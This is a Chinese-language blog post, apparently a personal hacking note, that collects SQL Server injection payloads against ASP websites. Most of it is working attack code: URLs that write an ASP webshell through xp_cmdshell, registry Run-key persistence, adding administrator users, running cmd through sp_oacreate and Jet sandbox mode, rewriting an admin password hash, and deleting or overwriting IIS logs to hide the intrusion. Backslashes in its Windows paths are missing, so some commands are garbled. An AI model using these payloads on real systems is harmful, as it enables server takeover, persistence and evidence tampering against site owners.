sql server 注入

1、 用^轉義字符來寫ASP(一句話木馬)文件的方法:
 http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:mu.asp'--

 echo ^<%execute^(request^("l"^)^)%^> >c:mu.asp

2、 顯示SQL系統版本:
 http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
 http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--

Microsoft VBScript 編譯器錯誤 錯誤 魸a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 錯誤 ?e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/display.asp,行17
3、 在檢測索尼中國的網站漏洞時,分明已經確定了漏洞存在卻無法在這三種漏洞中找到對應的類型。偶然間我想到了在SQL語言中可以使用“in”關鍵字進行查詢,例如“select * from mytable where id in(1)”,括號中的值就是我們提交的數據,它的結果與使用“select * from mytable where id=1”的查詢結果完全相同。所以訪問頁面的時候在URL後面加上“) and 1=1 and 1 in(1”後原來的SQL語句就變成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,這樣就會出現期待已久的頁面了。暫且就叫這種類型的漏洞爲“包含數字型”吧,聰明的你一定想到了還有“包含字符型”呢。對了,它就是由於類似“select * from mytable where name in(‘firstsee’)”的查詢語句造成的。

4、 判斷xp_cmdshell擴展存儲過程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
恢復xp_cmdshell擴展存儲的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc 'xp_cmdshell',’e:inetputwebxplog70.dll’;--

5、 向啓動組中寫入命令行和執行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionRun','help1','REG_SZ','cmd.exe /c net user test ptlove /add'


6、 查看當前的數據庫名稱:
 http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨庫了
 http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript 編譯器錯誤 錯誤 魸a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 錯誤 ?e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
/display.asp,行17
7、 列出當前所有的數據庫名稱:
select * from master.dbo.sysdatabases 列出所有列的記錄
select name from master.dbo.sysdatabases 僅列出name列的記錄

8、 不需xp_cmdshell支持在有注入漏洞的SQL服務器上運行CMD命令:
Create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:>c:temp.txt',Ɔ','true'
--注意run的參數true指的是將等待程序運行的結果,對於類似ping的長時間命令必需使用此參數。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:temp.txt'
--因爲fso的opentextfile方法將返回一個textstream對象,所以此時@file是一個對象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
Insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

Drop TABLE MYTMP

----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:InetpubAdminScriptsadsutil.vbs set /W3SVC/InProcessIsapiApps "C:WINNTsystem32idq.dll" "C:WINNTsystem32inetsrvhttpext.dll" "C:WINNTsystem32inetsrvhttpodbc.dll" "C:WINNTsystem32inetsrvssinc.dll" "C:WINNTsystem32msw3prt.dll" "C:winntsystem32inetsrvasp.dll">c:temp.txt',Ɔ','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
Insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

以下是一行裏面將WEB用戶加到管理員組中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:InetpubAdminScriptsadsutil.vbs set /W3SVC/InProcessIsapiApps "C:WINNTsystem32idq.dll" "C:WINNTsystem32inetsrvhttpext.dll" "C:WINNTsystem32inetsrvhttpodbc.dll" "C:WINNTsystem32inetsrvssinc.dll" "C:WINNTsystem32msw3prt.dll" "C:winntsystem32inetsrvasp.dll">c:temp.txt',Ɔ','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out Insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

以下是一行中執行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:bjeea.net.cnscoreftsimagesiis.vbs lh1 c:>c:temp.txt',Ɔ','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out Insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

SQL下三種執行CMD命令的方法:

先刪除7.18號日誌:
(1)exec master.dbo.xp_cmdshell 'del C:winntsystem32logfilesW3SVC5ex050718.log >c:temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:winntsystem32logfilesW3SVC5ex050718.log >c:temp.txt',Ɔ','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out Insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)首先開啓jet沙盤模式,通過擴展存儲過程xp_regwrite修改註冊表實現,管理員修改註冊表不能預防的原因。出於安全原因,默認沙盤模式未開啓,這就是爲什麼需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER權限,爲了方便,這裏建議使用sysadmin權限測試:
 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1
注:
0 禁止一切(默認)
1 使能訪問ACCESS,但是禁止其它
2 禁止訪問ACCESS,但是使能其他
3 使能一切

 這裏僅給出sysadmin權限下使用的命令:
select * from openrowset('microsoft.jet.oledb.4.0','database=c:winntsystem32iasias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')


建立鏈接數據庫'L0op8ack'參考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:windowssystem32iasias.mdb'

 如何使用鏈接數據庫:

使用這個方式可以執行,但是很不幸,DB_OWNER權限是不夠的,需要至少sysadmin權限或者securityadmin+setupadmin權限組合
sp_addlinkedserver需要sysadmin或setupadmin權限
sp_addlinkedsrvlogin需要sysadmin或securityadmin權限
最終發現,還是sa權限或者setupadmin+securityadmin權限帳戶才能使用,
一般沒有哪個管理員這麼設置普通帳戶權限的

實用性不強,僅作爲一個學習總結吧

大致過程如下,如果不是sysadmin,那麼IAS.mdb權限驗證會出錯,
我測試的時候授予hacker這個用戶setupadmin+securityadmin權限,使用ias.mdb失敗
需要找一個一般用戶可訪問的mdb纔可以:

 新建鏈接服務器”L0op8ack”:EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:winntsystem32iasias.mdb'--
 exec sp_addlinkedsrvlogin 'L0op8ack','false'--或
exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove'--
 Select * FROM OPENQUERY(L0op8ack, 'Select shell("cmd.exe /c net user")');--
 exec sp_droplinkedsrvlogin 'L0op8ack','false'--
 exec sp_dropserver 'L0op8ack'--

再考貝一個其它文件來代替7.18日文件:
(1)exec master.dbo.xp_cmdshell 'copy C:winntsystem32logfilesW3SVC5ex050716.log C:winntsystem32logfilesW3SVC5ex050718.log>c:temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:winntsystem32logfilesW3SVC5ex050716.log C:winntsystem32logfilesW3SVC5ex050718.log>c:temp.txt',Ɔ','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out Insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:temp.txt',Ɔ','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out Insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

9、 用Update來更新表中的數據:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd='a0b923820dcc509a' where username='www'--
www用戶密碼的16位MD5值爲:a0b923820dcc509a,即把密碼改成1;
32位MD5值爲: ,密碼爲

10、 利用表內容導成文件功能
SQL有BCP命令,它可以把表的內容導成文本文件並放到指定位置。利用這項功能,我們可以先建一張臨時表,然後在表中一行一行地輸入一個ASP木馬,然後用BCP命令導出形成ASP文件。
命令行格式如下:
bcp "select * from temp " queryout c:inetpubwwwrootruncommand.asp –c –S localhost –U sa –P upload('S'參數爲執行查詢的服務器,'U'參數爲用戶名,'P'參數爲密碼,最終上傳了一個runcommand.asp的木馬)。 

 
發佈了31 篇原創文章 · 獲贊 1 · 訪問量 6萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章